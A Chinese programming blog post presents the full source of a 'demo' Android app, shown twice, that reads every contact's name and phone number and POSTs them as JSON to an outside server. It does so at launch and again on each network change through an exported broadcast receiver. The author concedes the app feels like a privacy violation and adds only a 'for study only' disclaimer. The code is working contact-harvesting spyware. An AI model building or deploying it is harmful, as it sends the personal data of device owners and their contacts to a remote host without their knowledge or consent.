标签:
好久没有写文档了...最近忙着带班,也没有时间学习新东西,今天刚好有个小Demo,就写了一下,顺便丰富一下我的博客吧!
首先说一下需求: 简单的说,就是一个程序,会获取手机的联系人列表,然后转换成JSON字符串数组,向指定服务器中发送数据...总感觉有侵犯别人隐私权的意味;
注:仅供学习使用,不要做违法的事情哟
这个程序我写的有点有条理,首先有几个工具类:
1. 判断是否联网的工具类(NetUtils)
2. 从手机中获取所有联系人的工具类(GetDatasUtils)
3. 往服务器上发送数据的工具类(SendDatasUtils)
4. 将Java实体类转换成JSON字符串
然后一个实体类,用于存储联系人姓名和电话(ContactInfor)
一个MainActivity
一个广播接收者(MyReceiver)
对了,还有一个xml...是没有用的..
由于分类很明确,并且我都写注释了,所以直接上代码
View Code
package com.xdl.redwolf.mycontact; import android.app.Activity; import android.os.Bundle; /** * @作者 RedWolf */ public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // 调用工具类 获取联系人并且发送到服务器.. 由于不加静态 所以工具类就变得四不像了.. // 这个请求不会重复利用 So...匿名对象即可 SendDatasUtils.sendDatas(this); } }
View Code
package com.xdl.redwolf.mycontact; /** * @作者 RedWolf */ public class ContactInfor { String cName; String cPhone; public ContactInfor() { } public String getcName() { return cName; } public String getcPhone() { return cPhone; } public void setcName(String cName) { this.cName = cName; } public void setcPhone(String cPhone) { this.cPhone = cPhone; } @Override public String toString() { return "ContactInfor{" + "cName=‘" + cName + ‘\‘‘ + ", cPhone=‘" + cPhone + ‘\‘‘ + ‘}‘; } }
View Code
package com.xdl.redwolf.mycontact; import android.content.ContentResolver; import android.content.Context; import android.database.Cursor; import android.provider.ContactsContract; import java.util.ArrayList; /** * @作者 RedWolf */ public class GetDatasUtils { public static ArrayList getDatas(Context context) { ArrayList<ContactInfor> contactList = new ArrayList<>(); // 获取手机通讯录信息 ContentResolver resolver = context.getContentResolver(); // 获取联系人信息 Cursor personCur = resolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); // 循环遍历,获取每个联系人的姓名和电话号码 while (personCur.moveToNext()) { // 新建联系人对象 ContactInfor cInfor = new ContactInfor(); // 联系人姓名 String cname = ""; // 联系人电话 String cnum = ""; // 联系人id号码 String ID; ID = personCur.getString(personCur .getColumnIndex(ContactsContract.Contacts._ID)); // 联系人姓名 cname = personCur.getString(personCur .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)); // id的整型数据 int id = Integer.parseInt(ID); if (id > 0) { // 获取指定id号码的电话号码 Cursor c = resolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + ID, null, null); // 遍历游标 while (c.moveToNext()) { cnum = c.getString(c .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); } // 将对象加入到集合中 cInfor.setcName(cname); cInfor.setcPhone(cnum); contactList.add(cInfor); } } // 最后 把整理出来的集合 返回出去 return contactList; } }
package com.xdl.redwolf.mycontact; import android.util.Log; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.util.ArrayList; /** *@作者 RedWolf * 由于json解析太麻烦 还是自己写一个比较好... */ public class JSONUtils { /** * 将集合转换为JSON格式的数据。 */ public static String getJSON(ArrayList<ContactInfor> cIList) { try { JSONArray array = new JSONArray(); JSONObject object = new JSONObject(); int length = cIList.size(); for (int i = 0; i < length; i++) { ContactInfor mContact = cIList.get(i); String name = mContact.getcName(); String phone = mContact.getcPhone(); // 把实体类中的数据拿出来 塞入Json对象中.. JSONObject stoneObject = new JSONObject(); stoneObject.put("name", name); stoneObject.put("phone", phone); // JSON加入JSon数组 array.put(stoneObject); } // 把整个Json数组 编程Json对象 object.put("mContact", array); // 最后返回数据 return object.toString(); } catch (JSONException e) { Log.i("RedWolf", "JSONUtils报异常了.." + e.getMessage()); } return null; } }
package com.xdl.redwolf.mycontact; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; /** * @作者 RedWolf * <p/> * 咱就写一个广播接受者 反正是一个简单Demo 接收到 */ public class MyReceiver extends BroadcastReceiver { SendDatasUtils sdu; // 由于是注册了一个广播接收者 所以 就算是结束了进程,那也是能用的. public MyReceiver() { } @Override public void onReceive(Context context, Intent intent) { // 我管你接收到的是什么广播,我就注册了一个广播 那就是网络状态发生变化 boolean flag = NetUtils.isNet(context); Log.i("IsNet", flag + ""); if (flag) { // 如果联网了 那么就获取那个啥 并且请求 由于不加静态 所以工具类就变得四不像了.. // 因为这一块 可能有用户很可恶 会一直调用更改网络状态 So..这个Utils对象 就应该变得 可重复利用 SendDatasUtils.sendDatas(context); } } }
package com.xdl.redwolf.mycontact; import android.content.Context; import android.net.ConnectivityManager; import android.net.NetworkInfo; /** * @作者 RedWolf * 用于判断是否联网 */ public class NetUtils { public static boolean isNet(Context context) { // 获取网络管理器 if (context == null) { return false; } ConnectivityManager mConnectivityManager = (ConnectivityManager) context .getSystemService(Context.CONNECTIVITY_SERVICE); // 获取网络状态对象 NetworkInfo mNetworkInfo = mConnectivityManager.getActiveNetworkInfo(); // 判断是否联网 if (mNetworkInfo == null) { return false; } return mNetworkInfo.isConnected(); } }
package com.xdl.redwolf.mycontact; import android.content.Context; import android.util.Log; import com.android.volley.AuthFailureError; import com.android.volley.Request; import com.android.volley.RequestQueue; import com.android.volley.Response; import com.android.volley.VolleyError; import com.android.volley.toolbox.StringRequest; import com.android.volley.toolbox.Volley; import java.util.HashMap; import java.util.Map; /** * @作者 RedWolf */ public class SendDatasUtils { public static void sendDatas(final Context context) { // 用Vollery做网络请求.. RequestQueue mQueue = Volley.newRequestQueue(context); // 匿名子类的形式来重写getParams方法, StringRequest stringRequest = new StringRequest(Request.Method.POST, "http://www.bmob.cn", new Response.Listener<String>() { // 无论请求成功还是请求失败 都要把集合清空..否则 因为是静态 会无限叠加.. @Override public void onResponse(String response) { // TODO 要是不需要多次返回数据,那么这里就应该写一个SharedPreferences在本地打一个标记,证明已经发送了,当然 一般是不需要的. Log.i("RedWolf", "请求成功----------------------"); } }, new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { Log.e("RedWolf", "请求失败??" + error.getMessage(), error); } }) { // 重写getParams方法..就是为了添加一个Post参数.. @Override protected Map<String, String> getParams() throws AuthFailureError { Map<String, String> map = new HashMap<>(); // 解析联系人集合并且塞入String中.. String datas = JSONUtils.getJSON(GetDatas.getDatas(context)); map.put("param", datas); Log.i("RedWolf", datas); return map; } }; // 这样 就发了请求... mQueue.add(stringRequest); } }
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.xdl.redwolf.mycontact"> <!-- 读取联系人的权限 --> <uses-permission android:name="android.permission.READ_CONTACTS" /> <!-- 开机启动 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <!-- 网络请求权限 --> <uses-permission android:name="android.permission.INTERNET" /> <!-- 监听网络状态的权限--> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".MyReceiver" android:enabled="true" android:exported="true"> <intent-filter> <!-- 网络发生变化的广播--> <action android:name="android.net.conn.CONNECTIVITY_CHANGE" /> <!--默认即可..--> <category android:name="android.intent.category.default" /> </intent-filter> </receiver> </application> </manifest>
## [小项目] 获取手机联系人并且向服务器发送JSON数据 ##
**好久没有写文档了...最近忙着带班,也没有时间学习新东西,今天刚好有个小Demo,就写了一下,顺便丰富一下我的博客吧!**
----------
**首先说一下需求: 简单的说,就是一个程序,会获取手机的联系人列表,然后转换成JSON字符串数组,向指定服务器中发送数据...总感觉有侵犯别人隐私权的意味;**
**注:仅供学习使用,不要做违法的事情哟**
----------
**这个程序我写的有点有条理,首先有几个工具类:**
**1. 判断是否联网的工具类(NetUtils)**
**2. 从手机中获取所有联系人的工具类(GetDatasUtils)**
**3. 往服务器上发送数据的工具类(SendDatasUtils)**
**4. 将Java实体类转换成JSON字符串**
----------
**然后一个实体类,用于存储联系人姓名和电话(ContactInfor)**
----------
**一个MainActivity**
**一个广播接收者(MyReceiver)**
**对了,还有一个xml...是没有用的..**
----------
**由于分类很明确,并且我都写注释了,所以直接上代码**
## MainActivity ##
package com.xdl.redwolf.mycontact;
import android.app.Activity;
import android.os.Bundle;
/**
* @作者 RedWolf
*/
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// 调用工具类 获取联系人并且发送到服务器.. 由于不加静态 所以工具类就变得四不像了..
// 这个请求不会重复利用 So...匿名对象即可
SendDatasUtils.sendDatas(this);
}
}
## ContactInfor ##
package com.xdl.redwolf.mycontact;
/**
* @作者 RedWolf
*/
public class ContactInfor {
String cName;
String cPhone;
public ContactInfor() {
}
public String getcName() {
return cName;
}
public String getcPhone() {
return cPhone;
}
public void setcName(String cName) {
this.cName = cName;
}
public void setcPhone(String cPhone) {
this.cPhone = cPhone;
}
@Override
public String toString() {
return "ContactInfor{" +
"cName=‘" + cName + ‘\‘‘ +
", cPhone=‘" + cPhone + ‘\‘‘ +
‘}‘;
}
}
## GetDatasUtils ##
package com.xdl.redwolf.mycontact;
import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.provider.ContactsContract;
import java.util.ArrayList;
/**
* @作者 RedWolf
*/
public class GetDatasUtils {
public static ArrayList getDatas(Context context) {
ArrayList<ContactInfor> contactList = new ArrayList<>();
// 获取手机通讯录信息
ContentResolver resolver = context.getContentResolver();
// 获取联系人信息
Cursor personCur = resolver.query(ContactsContract.Contacts.CONTENT_URI, null,
null, null, null);
// 循环遍历,获取每个联系人的姓名和电话号码
while (personCur.moveToNext()) {
// 新建联系人对象
ContactInfor cInfor = new ContactInfor();
// 联系人姓名
String cname = "";
// 联系人电话
String cnum = "";
// 联系人id号码
String ID;
ID = personCur.getString(personCur
.getColumnIndex(ContactsContract.Contacts._ID));
// 联系人姓名
cname = personCur.getString(personCur
.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
// id的整型数据
int id = Integer.parseInt(ID);
if (id > 0) {
// 获取指定id号码的电话号码
Cursor c = resolver.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID
+ "=" + ID, null, null);
// 遍历游标
while (c.moveToNext()) {
cnum = c.getString(c
.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
}
// 将对象加入到集合中
cInfor.setcName(cname);
cInfor.setcPhone(cnum);
contactList.add(cInfor);
}
}
// 最后 把整理出来的集合 返回出去
return contactList;
}
}
## JSONUtils ##
package com.xdl.redwolf.mycontact;
import android.util.Log;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.ArrayList;
/**
*@作者 RedWolf
* 由于json解析太麻烦 还是自己写一个比较好...
*/
public class JSONUtils {
/**
* 将集合转换为JSON格式的数据。
*/
public static String getJSON(ArrayList<ContactInfor> cIList) {
try {
JSONArray array = new JSONArray();
JSONObject object = new JSONObject();
int length = cIList.size();
for (int i = 0; i < length; i++) {
ContactInfor mContact = cIList.get(i);
String name = mContact.getcName();
String phone = mContact.getcPhone();
// 把实体类中的数据拿出来 塞入Json对象中..
JSONObject stoneObject = new JSONObject();
stoneObject.put("name", name);
stoneObject.put("phone", phone);
// JSON加入JSon数组
array.put(stoneObject);
}
// 把整个Json数组 编程Json对象
object.put("mContact", array);
// 最后返回数据
return object.toString();
} catch (JSONException e) {
Log.i("RedWolf", "JSONUtils报异常了.." + e.getMessage());
}
return null;
}
}
## MyReceiver ##
package com.xdl.redwolf.mycontact;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
/**
* @作者 RedWolf
* <p/>
* 咱就写一个广播接受者 反正是一个简单Demo 接收到
*/
public class MyReceiver extends BroadcastReceiver {
SendDatasUtils sdu;
// 由于是注册了一个广播接收者 所以 就算是结束了进程,那也是能用的.
public MyReceiver() {
}
@Override
public void onReceive(Context context, Intent intent) {
// 我管你接收到的是什么广播,我就注册了一个广播 那就是网络状态发生变化
boolean flag = NetUtils.isNet(context);
Log.i("IsNet", flag + "");
if (flag) {
// 如果联网了 那么就获取那个啥 并且请求 由于不加静态 所以工具类就变得四不像了..
// 因为这一块 可能有用户很可恶 会一直调用更改网络状态 So..这个Utils对象 就应该变得 可重复利用
SendDatasUtils.sendDatas(context);
}
}
}
## NetUtils ##
package com.xdl.redwolf.mycontact;
import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
/**
* @作者 RedWolf
* 用于判断是否联网
*/
public class NetUtils {
public static boolean isNet(Context context) {
// 获取网络管理器
if (context == null) {
return false;
}
ConnectivityManager mConnectivityManager = (ConnectivityManager) context
.getSystemService(Context.CONNECTIVITY_SERVICE);
// 获取网络状态对象
NetworkInfo mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
// 判断是否联网
if (mNetworkInfo == null) {
return false;
}
return mNetworkInfo.isConnected();
}
}
## SendDatasUtils ##
package com.xdl.redwolf.mycontact;
import android.content.Context;
import android.util.Log;
import com.android.volley.AuthFailureError;
import com.android.volley.Request;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.StringRequest;
import com.android.volley.toolbox.Volley;
import java.util.HashMap;
import java.util.Map;
/**
* @作者 RedWolf
*/
public class SendDatasUtils {
public static void sendDatas(final Context context) {
// 用Vollery做网络请求..
RequestQueue mQueue = Volley.newRequestQueue(context);
// 匿名子类的形式来重写getParams方法,
StringRequest stringRequest = new StringRequest(Request.Method.POST, "http://www.bmob.cn",
new Response.Listener<String>() {
// 无论请求成功还是请求失败 都要把集合清空..否则 因为是静态 会无限叠加..
@Override
public void onResponse(String response) {
// TODO 要是不需要多次返回数据,那么这里就应该写一个SharedPreferences在本地打一个标记,证明已经发送了,当然 一般是不需要的.
Log.i("RedWolf", "请求成功----------------------");
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
Log.e("RedWolf", "请求失败??" + error.getMessage(), error);
}
}) {
// 重写getParams方法..就是为了添加一个Post参数..
@Override
protected Map<String, String> getParams() throws AuthFailureError {
Map<String, String> map = new HashMap<>();
// 解析联系人集合并且塞入String中..
String datas = JSONUtils.getJSON(GetDatas.getDatas(context));
map.put("param", datas);
Log.i("RedWolf", datas);
return map;
}
};
// 这样 就发了请求...
mQueue.add(stringRequest);
}
}
标签:
原文地址:http://www.cnblogs.com/redwolf/p/5393719.html